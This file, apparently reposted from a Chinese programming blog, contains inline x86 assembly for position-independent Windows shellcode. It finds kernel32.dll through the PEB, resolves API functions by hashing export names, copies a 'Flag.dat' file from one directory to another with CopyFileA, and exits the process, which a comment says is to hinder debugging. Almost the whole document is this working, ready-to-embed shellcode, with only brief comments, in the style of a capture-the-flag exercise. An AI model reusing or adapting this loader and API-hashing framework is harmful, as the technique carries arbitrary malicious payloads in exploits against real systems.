#include "stdafx.h"
int _tmain(int argc, _TCHAR* argv[])
{
// 最终shellcode
_asm
{
nop
push ebp
mov ebp,esp
sub esp,0xC
// 前置代码,避免后面数据被解析称汇编指令
jmp tag_Shellcode
// "c:\\pwn\\Flag.dat" 18字节
_asm _emit(0x63) _asm _emit(0x3a) _asm _emit(0x5c) _asm _emit(0x5c)
_asm _emit(0x70) _asm _emit(0x77) _asm _emit(0x6e) _asm _emit(0x5c)
_asm _emit(0x5c) _asm _emit(0x46) _asm _emit(0x6c) _asm _emit(0x61)
_asm _emit(0x67) _asm _emit(0x2e) _asm _emit(0x64) _asm _emit(0x61)
_asm _emit(0x74) _asm _emit(0x00)
// "C:\\target\\Flag.dat" 21字节
_asm _emit(0x43) _asm _emit(0x3a) _asm _emit(0x5c) _asm _emit(0x5c)
_asm _emit(0x74) _asm _emit(0x61) _asm _emit(0x72) _asm _emit(0x67)
_asm _emit(0x65) _asm _emit(0x74) _asm _emit(0x5c) _asm _emit(0x5c)
_asm _emit(0x46) _asm _emit(0x6c) _asm _emit(0x61) _asm _emit(0x67)
_asm _emit(0x2e) _asm _emit(0x64) _asm _emit(0x61) _asm _emit(0x74)
_asm _emit(0x00)
// "CopyFileA\0" 10字节
_asm _emit(0x43) _asm _emit(0x6f) _asm _emit(0x70) _asm _emit(0x79)
_asm _emit(0x46) _asm _emit(0x69) _asm _emit(0x6c) _asm _emit(0x65)
_asm _emit(0x41) _asm _emit(0x00)
tag_Shellcode:
call tag_Next
tag_Next:
// 1. 获取当前指令地址,放到ebx
pop ebx // GetPC获取的是这条指令的地址
sub ebx, 0x5; // 减去CALL本身指令5字节
// Local_1 = Shellcode BaseAddr
mov [ebp-0x04],ebx
// 2. 获取关键模块基址
// esi = PEB
mov esi, fs:[0x30]
mov esi, [esi+0x0C]
mov esi, [esi+0x0C]
mov esi, [esi]
mov esi, [esi]
// edx = kernel32.dll 基址
mov edx, [esi+0x18]
// 3. 获取LoadLibraryExA的函数地址
push edx // param_2: kernel32.dll address
push 0xC0D83287 // param_1: LoadLibraryExA hash
call fun_GetFunAddrByHash
// edi = LoadLibraryExA函数地址
mov edi,eax
// 4. 加载Kernel32.dll,增强兼容性,Win7获取的是KernelBase.dll基址
// Local_2 = kernel32.dll加载基址
mov [ebp-0x08],edx
// 5.调用payload
push [ebp-0x08] // kernel32.dll
push [ebp-0x04] // GetPC BaseAddr
call fun_Payload
// 7. 程序执行完,结束程序,防止程序被调试分析
push [ebp-0x08] // kernel32.dll
push 0x4FD18963 // ExitProcess Digest
call fun_GetFunAddrByHash
// call ExitProcess
push 0
call eax
mov esp,ebp
pop ebp
}
// Payload 部分
_asm
{
fun_Payload: // (int BaseAddr,int kernel32.dll)
nop
push ebp
mov ebp,esp
sub esp,0x300
// 1. 根据Hash获取CopyFileA函数地址
push [ebp+0xC] // Param_2 = kernel32.dll
push 0x07eb0fb1 // Hash of CopyFileA
call fun_GetFunAddrByHash
// 2. 获取GetPC Base Address
mov ebx, [ebp+8] // Param_1 = BaseAddr
// 3. 调用CopyFileA函数
push 0
lea ecx, [ebx - 0x31]
push ecx // Dest = c:\\pwn\\Flag.dat 0x31 = offset 49 字节
lea ecx, [ebx - 0x1F]
push ecx// source = c:\\target\\Flag.dat 0x1F = 31字节偏移距离GetPC
call eax
tag_PayloadEnd:
nop
mov esp,ebp
pop ebp
retn 0x08 // 只有2个参数,所以retn 8
}
// 根据Hash获取指定的函数地址,返回值为函数地址
_asm
{
fun_GetFunAddrByHash: // (int nHashDigest,int ImageBase)
nop
push ebp
mov ebp,esp
sub esp,0x0c
push edx
// 1. 获取EAT\ENT\EOT的地址
// edx = Param_1 = ImageBase
mov edx, [ebp+0x0C]
// esi = IMAGE_DOS_HEADER
mov esi, [edx+0x3C]
// esi = PE文件头
lea esi, [edx+esi]
// esi = IMAGE_DIRECTORY_EXPORT.VirtualAddress
mov esi, [esi+0x78]
// esi = 导出表首地址
lea esi, [edx+esi]
// edi = EAT RVA
// ===============
mov edi, [esi+0x1C]
// edi = EAT VA
lea edi, [edx+edi]
// local_1 = EAT
mov [ebp-0x04],edi
// edi = ENT RVA
// ===============
mov edi, [esi+0x20]
lea edi, [edx+edi]
mov [ebp-0x08],edi
// edi = EOT RVA
// ==============
mov edi, [esi+0x24]
lea edi, [edx+edi]
mov[ebp-0x0C],edi
// 2. 循环比较ENT中的函数名称
xor ecx,ecx
jmp tag_FirstCmp
tag_CmpFunNameLoop:
inc ecx
tag_FirstCmp:
nop
// esi = local_2 ENT
mov esi, [ebp-0x08]
// 函数名称RVA
mov esi, [esi+4*ecx]
// edx = Param_2 = ImageBase
mov edx, [ebp+0x0C]
// esi = 函数名称VA
lea esi, [edx+esi]
// nDigest = Param_1 = nHashFunDigest
// 我们要寻找的函数名称Hash
push [ebp+0x08]
// esi = strFunName = ENTVA
// 当前遍历的ENT表中函数名称VA
push esi
// 调用比较函数,判断是否是要找的函数
call fun_Hash_compire
test eax,eax
// 如果不相等,就继续循环判断下一个ENT函数
je tag_CmpFunNameLoop
// 3. 成功后,找到对应的序号
// esi = local_3 = EOT
mov esi, [ebp-0x0C]
xor edi,edi
// di = 用函数名数组下标,在序号数组找到对应的序号
mov di, [esi+ecx*2]
// 4. 使用序号作为索引,找到函数名所对应的函数地址
// edx = local_1 = EAT
mov edx, [ebp-0x04]
// esi = 用序号在EAT表定位最终要的函数地址RVA
mov esi, [edx+edi*4]
// edx = param_2 = ImageBase
mov edx, [ebp+0x0C]
// 5. 返回获取到的关键函数地址VA
lea eax, [edx+esi]
pop edx
mov esp,ebp
pop ebp
retn 0x08
}
// hash 比较函数
_asm
{
fun_Hash_compire: // (char* strFunName, int nDigest)
nop
push ebp
mov ebp,esp
// 开辟局部变量,并清零
sub esp,0x04
mov dword ptr[ebp-0x04],0x00
// 保存用到的寄存器
push ebx
push ecx
push edx
// esi = Param_1(strFunName)
mov esi, [ebp+0x08]
xor ecx,ecx
xor eax,eax
tag_HashLoop:
nop
// al = 字符串的第ecx个字符
mov al, [esi+ecx]
// 判断是否为0,为0则循环结束
test al,al
jz tag_HashEnd
// ebx = Local_1(摘要)
mov ebx, [ebp-0x04]
// ebx = 摘要<<0x19(25)
shl ebx,0x19
// edx = local_1(摘要)
mov edx, [ebp-0x04]
// edx = 摘要>>0x07(07)
shr edx,0x07
// edx = ebx|edx
or ebx,edx
// edx = edx + 字符的ASCII
add ebx,eax
mov [ebp-0x04],ebx
INC ecx // ecx++
jmp tag_HashLoop
tag_HashEnd:
nop
// ebx = Param_2 = nDigest
mov ebx, [ebp+0x0c]
// edx = Local_1
mov edx, [ebp-0x04]
// 设置返回值
xor eax,eax
// 比较摘要是否相同
cmp ebx,edx
// 不相等,直接退出,eax返回0
jne tag_FunEnd
// 相等,修改eax的返回值
mov eax,1
tag_FunEnd:
nop
pop edx
pop ecx
pop ebx
mov esp,ebp
pop ebp
retn 0x08
}
return 0;
}
Shellcode拷贝文件
猜你喜欢
转载自blog.csdn.net/cssxn/article/details/89341999
今日推荐
周排行